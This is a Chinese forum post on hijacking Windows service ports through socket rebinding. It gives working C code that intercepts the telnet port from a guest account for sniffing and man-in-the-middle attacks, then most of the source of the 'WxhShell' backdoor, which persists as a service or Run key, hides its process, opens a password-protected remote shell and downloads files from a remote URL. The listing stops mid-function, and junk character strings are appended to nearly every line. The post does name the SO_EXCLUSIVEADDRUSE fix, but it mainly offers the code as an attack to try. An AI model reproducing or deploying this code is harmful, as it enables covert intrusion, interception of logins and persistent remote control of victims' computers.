社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11922阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PSZL2iGj9V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dm-zMCf}Q  
7lBAxqr2  
  saddr.sin_family = AF_INET; .QN>z-YA6:  
\0vr>C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wT:b\km:!  
t-0a7 1#e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xt@Z}B))pu  
7[5.> h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S>]pRV9rT  
t_qNq{  
  这意味着什么?意味着可以进行如下的攻击:  .5y+fL  
1r]Io gI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gm[z[~X@  
{yB&xj[z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HY%i`]4X  
~R26  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p%R  
kT'u1q$3Vo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  elFtBnL'  
W^] 3XJP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'zGo?a  
8@2OJ=`[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0iwZT&O  
^k#P5oV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _J? Dq  
lo,$-bJ,<,  
  #include h_T7% #0  
  #include JaL%qco  
  #include NwG= <U*  
  #include    nEkR1^30  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e[ /dv)J  
  int main() Yo("U8:XX  
  { Vy938qX   
  WORD wVersionRequested; <-D0u?8  
  DWORD ret; .P MZX%*v  
  WSADATA wsaData; J1:1B ,^y  
  BOOL val; $+3}po\  
  SOCKADDR_IN saddr; 26k LhFS  
  SOCKADDR_IN scaddr; /O^RF}  
  int err; 7El[ >  
  SOCKET s; t[oT-r  
  SOCKET sc; .On|uC)!  
  int caddsize; 5_z33,q2  
  HANDLE mt; /gu%:vq  
  DWORD tid;   ykX/9y+-s  
  wVersionRequested = MAKEWORD( 2, 2 ); naw0$kXTA  
  err = WSAStartup( wVersionRequested, &wsaData ); bdibaN-h  
  if ( err != 0 ) { CCWg{*og  
  printf("error!WSAStartup failed!\n"); `/ q|@B7  
  return -1; ,J{ei7TN  
  } x>*Drm 7  
  saddr.sin_family = AF_INET; v!ujj5-$I  
   uec!RKE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x\s|n{  
m:WyuU<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); , eZ1uBI?  
  saddr.sin_port = htons(23); Qi LEL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D6G oa(!9d  
  { eQD)$d_5  
  printf("error!socket failed!\n"); PUBWZ^63  
  return -1; -!N&OZ+R   
  } [5MJwRM^!;  
  val = TRUE; P5#r,:zL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QZ:8+[oy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PV/7 7{'  
  { \a6^LD}B  
  printf("error!setsockopt failed!\n"); Z]j*9#G1s  
  return -1; .72S oT  
  } EVVP]ND  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S!G(a"<W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /`6ZAo m9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "gne_Ye.  
g)_e]&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3`ELKq  
  { v {jQek4  
  ret=GetLastError(); .Jrqm  
  printf("error!bind failed!\n"); D[mSmpjE6&  
  return -1; OVko+X`  
  } G_k~X"  
  listen(s,2); W81E!RyP`  
  while(1) OZTPOz.  
  { l#H#+*F  
  caddsize = sizeof(scaddr); 2GWMlI  
  //接受连接请求 -"h;uDz|z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !\"5rNy  
  if(sc!=INVALID_SOCKET) 4x;/HEb7?  
  { HaYE9/xS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bLQ ^fH4ww  
  if(mt==NULL) I*IhwJFl/  
  { `> ?ra-  
  printf("Thread Creat Failed!\n"); { Q`QX`#  
  break; Z6_N$Z.A  
  } G-He" 4& $  
  } OV%Q3$15  
  CloseHandle(mt); '6xQT-sUih  
  } i 4%xfN  
  closesocket(s); ,>:;#2+og  
  WSACleanup(); ]Qfn(u=o  
  return 0; ,^x4sA[/  
  }   N\#MwLm  
  DWORD WINAPI ClientThread(LPVOID lpParam)  k7>|q"0C  
  { e=Z, Jg  
  SOCKET ss = (SOCKET)lpParam; Sz^5b!  
  SOCKET sc; Fx $Q;H!.  
  unsigned char buf[4096]; f"9q^  
  SOCKADDR_IN saddr; oA =4=`  
  long num; +AHUp)  
  DWORD val; W0k0$\iX  
  DWORD ret; $T`<Qq-r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )Lwc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4 &_NJ\  
  saddr.sin_family = AF_INET; kIGbG;"_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9P~\Mpk  
  saddr.sin_port = htons(23); +H9>A0JF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gOr%!QaF  
  { `S2[5i  
  printf("error!socket failed!\n"); 0qo)."V{  
  return -1; T.We: ,{  
  } AjT%]9 V?  
  val = 100; Xy@7y[s]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pj4/xX  
  { *+\S yO  
  ret = GetLastError(); h~p>re  
  return -1; o4%y>d)  
  } )EL!D%<A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >layJt  
  { +> WM[o^I  
  ret = GetLastError(); =Uj-^qcE  
  return -1; "v`   
  } zj/!In  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~5 *5  
  { g q}I[N  
  printf("error!socket connect failed!\n"); 2A\,-*pc  
  closesocket(sc); W ]Nv33i [  
  closesocket(ss); .h& .K  
  return -1; 1XnZy5fEo  
  } baP^<w^  
  while(1) +Wx{:  
  { u6_@.a}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fuA&7gNC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |{@8m9JR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2con[!U  
  num = recv(ss,buf,4096,0); m <w "T7  
  if(num>0) Ojt`^r!V  
  send(sc,buf,num,0); <6fv1d+v  
  else if(num==0) *0|IXGr  
  break; L}FO jrN  
  num = recv(sc,buf,4096,0); }j^\(2  
  if(num>0) >TP7 }u|  
  send(ss,buf,num,0); ?APe R,"V  
  else if(num==0) 13+<Q \  
  break; `"@g8PWe  
  } lr{?"tl_  
  closesocket(ss); ' /$d0`3B>  
  closesocket(sc); ,N e;kI  
  return 0 ; OI?K/rn  
  } ph_4q@  
PIWux {  
IR-dU<<9O  
========================================================== svuq gSn  
"d$m@c  
下边附上一个代码,,WXhSHELL >^Yq|~[  
sk 2-5S  
========================================================== h^*4}GU  
2l F>1vH  
#include "stdafx.h" hTM[8 ~<^  
~O]]N;>72"  
#include <stdio.h> V~hlq$jn<Y  
#include <string.h> PZm:T+5H  
#include <windows.h> PNA\ TXT  
#include <winsock2.h> Y)$ ;Ax-D  
#include <winsvc.h> #."Hh<C  
#include <urlmon.h> 3` #6ACF  
m1IKVa7-\}  
#pragma comment (lib, "Ws2_32.lib") 6sE{{,OGB  
#pragma comment (lib, "urlmon.lib") BA:yQ  
2PeR   
#define MAX_USER   100 // 最大客户端连接数 -YjA+XP  
#define BUF_SOCK   200 // sock buffer \/SQ,*O  
#define KEY_BUFF   255 // 输入 buffer 1=nUW":  
XgxX.`H7  
#define REBOOT     0   // 重启 TeWMp6u,r  
#define SHUTDOWN   1   // 关机 Z{ u a=0  
$F/EJ>  
#define DEF_PORT   5000 // 监听端口 cwuO[^S}  
I`w4Xrd  
#define REG_LEN     16   // 注册表键长度 U|5nNiJM  
#define SVC_LEN     80   // NT服务名长度 7;tJK^J`  
!bD@aVf?5  
// 从dll定义API >rP#ukr5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I0'[!kBF|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T /mI[*1xI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \(PohwWWo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L3p`  
78Aa|AJU  
// wxhshell配置信息 $Y9jrR'w  
struct WSCFG { /\w)>0  
  int ws_port;         // 监听端口 'Vr$MaO  
  char ws_passstr[REG_LEN]; // 口令 o d7]tOK9  
  int ws_autoins;       // 安装标记, 1=yes 0=no xESjM1A)  
  char ws_regname[REG_LEN]; // 注册表键名 cDoo*  
  char ws_svcname[REG_LEN]; // 服务名 $%%os6y2v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +e-,ST&w(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yyfq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g!`3{ /4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sjM;s{gy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8`]=C~ G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;),BW g  
a2f^x@0k  
}; Y9=(zOqv  
6MG9a>=  
// default Wxhshell configuration KYkS9_yF  
struct WSCFG wscfg={DEF_PORT, o%4Gd~  
    "xuhuanlingzhe", `$YP<CJeq  
    1, jr /lk  
    "Wxhshell", k78Vh$AA6%  
    "Wxhshell", {Rear 2  
            "WxhShell Service", JI/_ce  
    "Wrsky Windows CmdShell Service", CAU0)=M  
    "Please Input Your Password: ", 0vGyI>  
  1, 97,rE$bC  
  "http://www.wrsky.com/wxhshell.exe", YxGcFjJ  
  "Wxhshell.exe" #-Z8Z i"44  
    }; kJAn4I.l  
ycJg%]F*5  
// 消息定义模块 tj*y)28-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y2R\]FrT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]O TH"*j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E_1="&p  
char *msg_ws_ext="\n\rExit."; m3 ^/: <  
char *msg_ws_end="\n\rQuit."; {3Y )rY!z  
char *msg_ws_boot="\n\rReboot..."; ]}mxY vu_i  
char *msg_ws_poff="\n\rShutdown..."; R|P_GN6 >  
char *msg_ws_down="\n\rSave to "; 4<X!<]3]  
|3{&@7  
char *msg_ws_err="\n\rErr!"; erl:9.  
char *msg_ws_ok="\n\rOK!"; 5 #]4YI;  
>|o_wO  
char ExeFile[MAX_PATH]; e/8z+H^H  
int nUser = 0; /U$8TT8+-  
HANDLE handles[MAX_USER]; 45@]:2j  
int OsIsNt; O3N_\B:  
C*X G_b ]  
SERVICE_STATUS       serviceStatus;  Q2p)7G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $>R(W=Q  
@cq`:_.[  
// 函数声明 &48_2Q"{  
int Install(void); 7dX/bzUVz8  
int Uninstall(void); M0c 9pE  
int DownloadFile(char *sURL, SOCKET wsh); o+?r I p  
int Boot(int flag);  UkfB^hA  
void HideProc(void); +<.\5+  
int GetOsVer(void); #Rew [\$  
int Wxhshell(SOCKET wsl); %vO<9fE|1  
void TalkWithClient(void *cs); .A1\J@b  
int CmdShell(SOCKET sock); + q''y  
int StartFromService(void); kz q29S  
int StartWxhshell(LPSTR lpCmdLine); '(#g1H3  
S:8OQI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XjE>k!=I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gLL\F1|0x  
nPkZHIxuD  
// 数据结构和表定义 -Z^4L  
SERVICE_TABLE_ENTRY DispatchTable[] = CkRX>)=py  
{ 1j\aH&)GH  
{wscfg.ws_svcname, NTServiceMain}, _ jAo:K_Z  
{NULL, NULL} *]x*B@RF  
}; E4D (,s  
nN3$\gHp8i  
// 自我安装 [ut#:1h^  
int Install(void) Ra3ukYG[  
{ CiL94Nkd9  
  char svExeFile[MAX_PATH]; !RlC~^ -  
  HKEY key; M8@_Uj  
  strcpy(svExeFile,ExeFile); 5M23/= N  
cgj.e  
// 如果是win9x系统,修改注册表设为自启动 On1v<SD$[  
if(!OsIsNt) { #vf_D?^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l #@&~f[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z}.D" P+  
  RegCloseKey(key); cX At :m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Qh`6Ya f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /.=r>a }l  
  RegCloseKey(key); 2 [!Mx&^  
  return 0; &!y]:CC{  
    } kDB iBNdB  
  } m]IysyFFK  
} !Zbesp KZ  
else { >sj bK%  
2 Y|D'^  
// 如果是NT以上系统,安装为系统服务 ,vG<*|pn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :+ ,st&(E  
if (schSCManager!=0) nDlO5 pe"d  
{ IbWPlbH  
  SC_HANDLE schService = CreateService +#]|)V Z  
  ( EX?h0Uy  
  schSCManager, IX?ZbtdX$`  
  wscfg.ws_svcname, *+8%kn`c  
  wscfg.ws_svcdisp, C$#W{2x%6  
  SERVICE_ALL_ACCESS, 16@);Ot  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w}M3x^9@  
  SERVICE_AUTO_START, ^C9x.4I$)  
  SERVICE_ERROR_NORMAL, G5{Ot>;*%  
  svExeFile, [BBpQN.^q6  
  NULL, (3md:r<-  
  NULL, Zj-BuE&@f  
  NULL, A1*4*  
  NULL, Q-zdJt  
  NULL l_v*7d  
  ); 1. SkIu%  
  if (schService!=0) wk 02[  
  { E '%lxr  
  CloseServiceHandle(schService); [[qwaI  
  CloseServiceHandle(schSCManager); CW:gEm+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D&*LBQ/K  
  strcat(svExeFile,wscfg.ws_svcname); w{'2q^>6*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2z98 3^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '@:[axu  
  RegCloseKey(key); jNy?[ )  
  return 0; /#yA%0=w  
    } DzPs!(5[I  
  } *=vlqpG  
  CloseServiceHandle(schSCManager); 3$"/>g/  
} \8"QvC]  
} C(,=[Fi-  
jX|=n.#q  
return 1; 0RyFv+  
} yx0Q+Sm1:  
O3!d(dY=_  
// 自我卸载 ?mOg@) wx  
int Uninstall(void)  #[ :w  
{ *fP(6e#G,  
  HKEY key; >QI~`MiI  
.v,bXU$@YG  
if(!OsIsNt) { iMWW%@U^=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) p^  
  RegDeleteValue(key,wscfg.ws_regname); Z5>V{o  
  RegCloseKey(key); j, t~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e d;"bb  
  RegDeleteValue(key,wscfg.ws_regname); b~W)S/wF$P  
  RegCloseKey(key); 8^w/HCC8O  
  return 0; \|Qb[{<:,  
  } Tiprdvm<  
} /{DaPqRa  
} C|6{fd4?  
else { lcig7%  
e}Q>\t45  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RqGVp?   
if (schSCManager!=0) '\L0xw4  
{ +Pw,Nl\KD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hNO )~rt  
  if (schService!=0)  N ?+eWY  
  { #` +]{4hR  
  if(DeleteService(schService)!=0) { bm}+}CJ@#0  
  CloseServiceHandle(schService); /Ri,>}n  
  CloseServiceHandle(schSCManager); 6F`\YSn+  
  return 0; h]P/KVqR.  
  } S'?fJ.  
  CloseServiceHandle(schService); NQ!<f\m4n  
  } cqk]NL`'  
  CloseServiceHandle(schSCManager); ja75c~RUw  
} _:5=|2-E  
} QSmJ`Bm  
[tm[,VfA^  
return 1; 0IFlEe[>#  
} sJ7sjrEp 1  
</yo9.  
// 从指定url下载文件 lzoeST  
int DownloadFile(char *sURL, SOCKET wsh) VV\Xb31J  
{ !2tw,QM  
  HRESULT hr; e;;):\p4  
char seps[]= "/"; yId;\o B  
char *token; y.fs,!|%@  
char *file; }3sN+4  
char myURL[MAX_PATH]; !u%9;>T7  
char myFILE[MAX_PATH]; Oc^m_U8>^  
SW;HjQ>V  
strcpy(myURL,sURL); !3HsI| $<G  
  token=strtok(myURL,seps); 7(@(Hm  
  while(token!=NULL) &<=e_0zT  
  { `A"Q3sf%  
    file=token; A: c]1  
  token=strtok(NULL,seps); bpnv&EG  
  } w^ U}|h"  
fwH`}<o  
GetCurrentDirectory(MAX_PATH,myFILE); ?k::tNv0  
strcat(myFILE, "\\"); e2Ww0IK!E  
strcat(myFILE, file); w~{| S7/  
  send(wsh,myFILE,strlen(myFILE),0); >3+FZ@.iT  
send(wsh,"...",3,0); V*~423  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X/wmKi  
  if(hr==S_OK) C{)HlOW  
return 0; FbBX}n  
else lY->ucS %P  
return 1; 1XGG.+D  
3!bK d2"  
} u&tFb]1@)  
+:!ScG*  
// 系统电源模块 ~xE=mg4le  
int Boot(int flag) Tr$i= M  
{ e^Aa!  
  HANDLE hToken; %GS\1 Q%  
  TOKEN_PRIVILEGES tkp; yFi6jN#~  
& L3UlL  
  if(OsIsNt) { t5n2eOy~T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qf)C%3gXI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U81;7L8  
    tkp.PrivilegeCount = 1;  'X|v+ ?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mHHzCKE,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6I5o2i  
if(flag==REBOOT) { OFIMi^@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %Dra7B%  
  return 0; *i%.{ YH  
} N tO?  
else { )X~#n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?-d Ain1w  
  return 0; Q QT G9s  
} fPOEVmj<  
  } ||`qIElAW,  
  else { VOg/VGJ  
if(flag==REBOOT) { s><IykIi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?LR"hZ>  
  return 0; 61L7 -~  
} Ogd8!'\  
else { ;C+cE#   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e/ WBgiLw  
  return 0; U|9U(il  
} m:b^,2"g  
} 6TY){P w  
-!i;7[N  
return 1; ~~ U<  
} 6#fOCr;f7  
T7^ulG1'  
// win9x进程隐藏模块 8znj~7}#  
void HideProc(void) z2.*#xTZn  
{ `(!W s\:  
O1|B3M[P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G&.d)NfE  
  if ( hKernel != NULL ) K/Sq2:  
  { .|U4N/XN%q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L>0!B8X2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kpl~/i`4  
    FreeLibrary(hKernel); =?wMESU  
  } Gee~>:_Q{J  
lD9%xCo9(  
return; g)X7FxS,z  
} &3WkH W   
Mp^^!AP9  
// 获取操作系统版本 -g9^0V`G  
int GetOsVer(void) mMV2h|W   
{ dFx2>6AZt  
  OSVERSIONINFO winfo; FPvuzBJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wH+FFXGJs  
  GetVersionEx(&winfo); 4=~ 9v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W)|c[Q\  
  return 1; t3pZjdLJd  
  else HE*7\"9  
  return 0; ]bs+:  
}  V+peO  
Xg,0/P~  
// 客户端句柄模块 U?JiVxE^  
int Wxhshell(SOCKET wsl) s Ke,  
{ $Z,i|K;  
  SOCKET wsh; 3fm;r5  
  struct sockaddr_in client; '`9%'f)  
  DWORD myID; 3%_ 4+zd  
txj wZ_p  
  while(nUser<MAX_USER) a#YuKh?  
{ ;I[ht  
  int nSize=sizeof(client); :!(YEF#}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dVPq%[J2  
  if(wsh==INVALID_SOCKET) return 1; >g>f;\mD7$  
)Y=w40Yzd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  AQB1gzE  
if(handles[nUser]==0) ?@3#c  
  closesocket(wsh); /&*m1EN#o  
else v&p,Clt-2  
  nUser++; LKIW*M  
  } C(EYM$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z\e>DdS  
XyvZ&d6(d  
  return 0; caGML|DeI  
} c:3@[nF~  
1P(%9  
// 关闭 socket $7msL#E7  
void CloseIt(SOCKET wsh) f0/jwfL  
{ l.XknF  
closesocket(wsh); 17WNJ  
nUser--; 7vi i9Am7  
ExitThread(0); F5<"ktnI  
} G /NT e  
;[FW!  
// 客户端请求句柄  KYnW7|*  
void TalkWithClient(void *cs) Sg/:n,68  
{ >{j,+$%kp  
=$^Wkau  
  SOCKET wsh=(SOCKET)cs; _7rqXkp%  
  char pwd[SVC_LEN]; &=v/VRan[  
  char cmd[KEY_BUFF]; 8T8pAs0 p  
char chr[1]; A)hq0FPp  
int i,j; 8FxcI!A@  
u^}7Vs .  
  while (nUser < MAX_USER) { IUluJ.sXIf  
\Pw8wayr%  
if(wscfg.ws_passstr) { "V*kOb&'*Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8|w5QvCU?3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jz{(q;  
  //ZeroMemory(pwd,KEY_BUFF); xP8iz?6"V  
      i=0; (:_%kmu  
  while(i<SVC_LEN) { M3DxapG  
l4iuu  
  // 设置超时 W2}%zux  
  fd_set FdRead; 08zi/g2 3  
  struct timeval TimeOut; @/CRIei  
  FD_ZERO(&FdRead); C_;HaQiu  
  FD_SET(wsh,&FdRead); <{$ ev&bQ  
  TimeOut.tv_sec=8; RY\{=f  
  TimeOut.tv_usec=0; KU1+<OCh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b}ySZlmy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cxtLy&C  
"WF( 6z#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >{O[t2&  
  pwd=chr[0]; l@,);w=_P  
  if(chr[0]==0xd || chr[0]==0xa) { B]A 5n8<  
  pwd=0; *\=2KIF'  
  break; mtSNl|O&{  
  } Y&?|k'7  
  i++; UI|v/(_^F  
    } D< nlb-  
DZHrR:q?e  
  // 如果是非法用户,关闭 socket t` }20=I+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9F2w.(m  
} k)H[XpM  
v+xgxQGYH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K!IF?iell  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hKk\Y{wv'  
*23m-  
while(1) { 1_Dn?G^H  
Ov $N"  
  ZeroMemory(cmd,KEY_BUFF); B6tcKh9d,  
S[W9G)KWp  
      // 自动支持客户端 telnet标准   '#cT4_D^lI  
  j=0; uznoyj6g  
  while(j<KEY_BUFF) { .jU|gf:x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v YRt2({}Z  
  cmd[j]=chr[0]; +zFV~]b  
  if(chr[0]==0xa || chr[0]==0xd) { xFsB?d  
  cmd[j]=0; kWZ/ej  
  break; jOoIF/So  
  } "| .  +L  
  j++; 8\qCj.>S  
    } WmT}t  
$$2S*qY  
  // 下载文件  At`1)  
  if(strstr(cmd,"http://")) { QOkE\ro  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z$OF|ZZQ  
  if(DownloadFile(cmd,wsh)) E3CiZ4=5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "TBQNWZ  
  else iF#}t(CrH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :GwSs'$O  
  } ;kyL>mV{  
  else { }S~ysQwT  
9#Aipu\  
    switch(cmd[0]) { aBqe+FXp4  
  ,xtK PA  
  // 帮助 !wLH&X$XT  
  case '?': { '(3Nopl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EzD -1sJ  
    break; >gX0Ij#G  
  } O?C-nw6kP  
  // 安装 <FUqD0sQ  
  case 'i': { |xsV(jK8  
    if(Install()) AiyvHt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ps!5HZ2:  
    else Vq\..!y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U}RS*7`  
    break; Q.pEUDq/  
    } b*'=W"%\  
  // 卸载 !LHzY(  
  case 'r': { 0@sr NuW  
    if(Uninstall()) V7B=+(xK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fG8}=xH_&  
    else #.\,y>`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WTV3p,;6a  
    break; c-s`>m  
    } 4! Oa4  
  // 显示 wxhshell 所在路径 1c<CEq:?e%  
  case 'p': { o@<6TlZM  
    char svExeFile[MAX_PATH]; c:h.J4mv  
    strcpy(svExeFile,"\n\r"); Ac5o K  
      strcat(svExeFile,ExeFile); O?j98H Sya  
        send(wsh,svExeFile,strlen(svExeFile),0); CfkNy[}=  
    break; RS||KA])J  
    } Q !RVD*(  
  // 重启 ! kOl$!X4  
  case 'b': { F9u:8;\@`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rB.=f[aX[  
    if(Boot(REBOOT)) I9:G9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >?G|Yz*kEJ  
    else { e\d5SKY  
    closesocket(wsh); [5RFQ!  
    ExitThread(0); we:5gK &  
